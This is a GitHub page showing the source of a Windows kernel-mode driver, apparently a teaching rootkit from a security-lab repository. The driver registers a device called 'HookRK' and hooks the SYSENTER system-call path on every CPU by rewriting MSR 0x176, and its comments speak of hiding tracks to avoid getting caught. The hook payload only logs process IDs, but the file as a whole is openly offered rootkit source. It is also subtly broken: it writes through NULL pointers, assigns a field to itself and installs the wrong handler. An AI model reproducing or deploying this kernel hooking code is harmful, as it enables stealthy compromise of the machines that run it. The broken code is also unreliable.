forked from osirislab/kmdhook
-
Notifications
You must be signed in to change notification settings - Fork 0
/
kmd_hook_ver2.cpp
398 lines (334 loc) · 11 KB
/
kmd_hook_ver2.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
//System includes
#include <ntddk.h>
#define DEVICE_RK 0x00008001 //used to register what sort of device this is, vendor defined 8000-FFFF
/*
-----------------------------------
Sysenter hook macros and structures
-----------------------------------
*/
//Sysenter Hook macros
#define MSR_EIP 0x176 //this defines the EIP for the sysenter
#define nCPUs 32 //hard define of the number of CPUs
#define PRNTFREQ 1000 //how many a frequency for how often we will display the info in our
//new sysenter fcn addr
//Define a structure to hold the MSR addresses
typedef struct _MSR
{
DWORD32 loaddr;
DWORD32 highaddr;
}MSR, *PMSR;
DWORD32 originalMSRlovalue = 0; //this will hold the original loaddr of msr_eip
DWORD32 currentindex = 0; //this will be used to measure our frequency of printing
/*
Device specific information
*/
const WCHAR *devicepath = L"\\Device\\HookRK"; //this is the path where the RK will be L = unicode
const WCHAR *linkdevicepath = L"\\DosDevices\\HookRK"; //this is the path of the link
PDEVICE_OBJECT devobj; //pointer to a device object
NTSTATUS default_dispatch(PDRIVER_OBJECT pobj, PIRP pirp)
{
UNREFERENCED_PARAMETER(pobj);
DbgPrint("Entering default_dispatch Method \n");
pirp->IoStatus.Status = STATUS_SUCCESS; //set the irp status
pirp->IoStatus.Information = 0;
IoCompleteRequest(pirp, IO_NO_INCREMENT); //send control back to the io manager
return STATUS_SUCCESS;
}
NTSTATUS RegisterDriverDeviceName(PDRIVER_OBJECT pobj)
{
//DbgPrint("Registering the Device Driver\n");
NTSTATUS ntstatus; //this is used to check the outputs of our driver calls
UNICODE_STRING unistring; //this will be the string which will store the directory of the driver
RtlInitUnicodeString(&unistring, devicepath); //create a unicode string with our drive path
//register our device driver with the OS
ntstatus = IoCreateDevice
(
pobj, //ptr to a driver object
0, //bytes for drive extention
&unistring, //this is the string which will hold the driver path
DEVICE_RK, //the device type
0, //system defined constants
TRUE, //driver object is an exclusive device
&devobj //reference to a device object
);
return ntstatus;
}
NTSTATUS RegisterDriverDeviceLink(void)
{
DbgPrint("Registering the Device Driver Link\n");
NTSTATUS ntstatus; //this is used to check the outputs of our driver calls
UNICODE_STRING deviceunistring; //this will be the string which will store the directory of the driver
UNICODE_STRING devicelinkunistring; //this will be the string which will store the directory of the link to the driver
RtlInitUnicodeString(&deviceunistring, devicepath); //create a unicode string with the device path
RtlInitUnicodeString(&devicelinkunistring, linkdevicepath); //create a unicode string with the device link path
//create a symbolic link of the device in the location in linkdevicepath
ntstatus = IoCreateSymbolicLink
(
&devicelinkunistring, //unicode of the link
&deviceunistring //unicode of the device
);
return ntstatus;
}
/*
FCN: Prnthookmsg
This will be called when we execute the
sysenter instruction
*/
void prnthookmsg(DWORD32 dispatchid, DWORD32 stackPtr)
{
//we will not display information every time
//this is because every function in the windows api
//will call this instruction
if(currentindex == PRNTFREQ)
{
DbgPrint("[PRNTHOOKMSG]: on CPU[%u], (pid=%u, dispatchID=%x), Addr of stack = 0x%x \n",
KeGetCurrentProcessorNumber(), PsGetCurrentProcessId(), dispatchid, &stackPtr);
currentindex = 0;
}
currentindex++;
}
/*
FCN: newMSR
this function will be what we replace
the function with at MSR# 176, it
will just print something to the user
but we know we've hooked something
note: We make this function a __declespec(naked)
function because we want to control
the stack layout and the compiler will
not create a prolog or epilogue
*/
void __declspec(naked)newMSR(void)
{
__asm
{
pushad; //push the register values on the stack
pushfd; //push eflags on the stack
//Note this segment of code is needed
mov ecx, 0x23;
push 0x30;
pop fs;
mov ds, cx;
mov es, cx;
//---------------
push edx; //save the stack pointer
push eax; //dispatch ID
call prnthookmsg;
//---------------
popfd;
popad;
jmp [originalMSRlovalue];
}
}
//------------------------------------------------
/*
FCN: readMSR
this function will read the addr of a certain
MSR register, and save it into our custom
MSR structure
*/
void readMSR(DWORD32 regnumber, PMSR msr)
{
DWORD32 loval;
DWORD32 hival;
__asm
{
//the rdmsr instr reads the
//msr whose number is stored
//in ecx, the contents will
//be saved in eax(lower 32 bits), edx(higher 32 bits)
mov ecx, regnumber;
rdmsr;
mov hival, edx;
mov loval, eax;
}
//store the msr contents into
//our msr structure
msr->highaddr = hival;
msr->loaddr = loval;
return;
}
//------------------------------------------------
//------------------------------------------------
/*
FCN: setMSR
this function will read the addr of a certain
MSR register, and save it into our custom
MSR structure
*/
void setMSR(DWORD32 regnumber, PMSR msr)
{
DWORD32 loval;
DWORD32 hival;
//store the high and low
//addr of the fcn we want
//to write to the msr at regnumber
hival = msr->highaddr;
loval = msr->loaddr;
__asm
{
mov ecx, regnumber; //store the number of the msr we will write to, EIP msr
mov edx, hival; //set the hi 32 bits of the addr we want to write
mov eax, loval; //set the lo 32 bits of the addr we want to write
wrmsr; //write to the msr register
}
return;
}
//------------------------------------------------
//------------------------------------------------
/*
FCN: HookCPU
this function will read in the addr of MSR 0x176,
save the old MSR value
it will then write our own naked function into
MSR 0x176
*/
DWORD32 HookCPU(DWORD32 procaddr)
{
PMSR oldmsr = NULL; //this will hold our old MSR value
PMSR newmsr = NULL; //we will put our new function
//read in the original MSR
readMSR(MSR_EIP, oldmsr);
//save the values into new msr struct
newmsr->loaddr = oldmsr->loaddr;
newmsr->highaddr = newmsr->highaddr;
//Here we will only store the lower 32 bits, seeing as how our
//addr of the new fcn we will replace the msr with
newmsr->loaddr = procaddr;
//set the value of the MSR 0x176
setMSR(MSR_EIP, newmsr);
//return the old value of the MSR for safe keeping
return oldmsr->loaddr;
}
//------------------------------------------------
//------------------------------------------------
/*
FCN: HookallCPUs
This function will set the affinity to any running processor we want
once we do that we can call the function HookCPU, which will replace the SYSENTER
fcn call
*/
void HookAllCPUs(DWORD32 procaddr)
{
KAFFINITY threadaffinity;
KAFFINITY currentCPU;
//get a bitmap of the active uP on the system
threadaffinity = KeQueryActiveProcessors();
for(DWORD32 i = 0; i<nCPUs; i++)
{
//This will mask the current cpu bit, and
//set the affinity for that CPU
currentCPU = threadaffinity & (1 << i);
// see if our current value of i is an active CPU
//if it is set the affinity to that CPU and run the
//hook CPU function
if(currentCPU != 0)
{
KeSetSystemAffinityThread(threadaffinity);
//Check if the MSR has been read yet
//if it has, then just call the hookCPU fcn
//if it has not then save the MSR from the call to hookCPU fcn
if(originalMSRlovalue == 0)
{
originalMSRlovalue = HookCPU(procaddr);
}
//we have already read 1 MSR for a processor(they are the same)
else
{
HookCPU(procaddr);
}
}
}
//set the thread to some random uP
KeSetSystemAffinityThread(threadaffinity);
//send the signal to the waitforobject function
PsTerminateSystemThread(STATUS_SUCCESS);
return;
}
//------------------------------------------------
//------------------------------------------------
/*
FCN: HookSysEnter
This will be our top most call to Hook the SYSENTER instr
1) Set up the initial structures
2) Run a thread on each CPU, using the fcn KeSetAffinityThread
3) Once we have captured a thread, read the MSR # 176
4) Write in an address into MSR 176 that we choose
5) Watch the magic
*/
void HookSysEnter(DWORD32 ProcessAddr)
{
HANDLE hthread; //handle to a thread
OBJECT_ATTRIBUTES objattributes; //object attributes struct
PKTHREAD pkthreadobj = NULL; //create a thread object
LARGE_INTEGER timer; //create a timer
//Initialize an object attribute stucture
InitializeObjectAttributes(&objattributes, NULL, 0, NULL, NULL);
//Create a new system thread to run the function that will hook ever CPU
PsCreateSystemThread(&hthread, THREAD_ALL_ACCESS, &objattributes, NULL, NULL, (PKSTART_ROUTINE)HookAllCPUs, (PVOID)ProcessAddr);
//Get a reference to a thread object from a handle to a thread
ObReferenceObjectByHandle(hthread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)pkthreadobj, NULL);
timer.QuadPart = 300; //this will be used to set the timeout value
//Create a spin loop until our created thread running the HookAllCPUs routine returns
while(KeWaitForSingleObject((PVOID)pkthreadobj, Executive, KernelMode, FALSE, &timer) != STATUS_SUCCESS)
{
// keep spinning until our created thread has exited
}
ZwClose(hthread);
return;
}
//------------------------------------------------
//This is the function is called when the device is removed from the
//kernel space
void unload(PDRIVER_OBJECT pobj)
{
DbgPrint("Unloading the Device\n");
PDEVICE_OBJECT pdevobj;
UNICODE_STRING unistring;
pdevobj = pobj->DeviceObject; //get a pointer to the device object
//we must perform this step otherwise the entries
//we registered wont be cleared until we reboot the system
RtlInitUnicodeString(&unistring, linkdevicepath);
IoDeleteSymbolicLink(&unistring); //remove the symobilc link entry
RtlInitUnicodeString(&unistring, linkdevicepath);
IoDeleteDevice(pdevobj); //remove the device entry
return;
}
//Main entry point into a KMD
extern "C" NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING regpath)
{
UNREFERENCED_PARAMETER(regpath);
DbgPrint("Entering The Device Driver Main Fcn\n");
int i;
NTSTATUS ntstatus; //this is used to check the outputs of our driver calls
//set the MAJOR functions table in my KMD to default_dispatch function
//which really does nothing
for(i=0; i<IRP_MJ_MAXIMUM_FUNCTION;i++)
{
//set each entry into the major functions to default
//dispatch
pDriverObject->MajorFunction[i] = (PDRIVER_DISPATCH)default_dispatch;
}
//establish the unload function
//we must tell the kmd what to do when the OS
//unloads it, we do this to clean up our tracks
//and undo whatever we have done, prevents getting
//caught
pDriverObject->DriverUnload = unload;
//register the device name
ntstatus = RegisterDriverDeviceName(pDriverObject);
if(!NT_SUCCESS(ntstatus))
{
//we have failed to register the device
return ntstatus;
}
ntstatus = RegisterDriverDeviceLink();
if(!NT_SUCCESS(ntstatus))
{
//we have failed to create the link
return ntstatus;
}
//Hook the SYSENTER INSTR
HookSysEnter((DWORD32)prnthookmsg);
return STATUS_SUCCESS;
}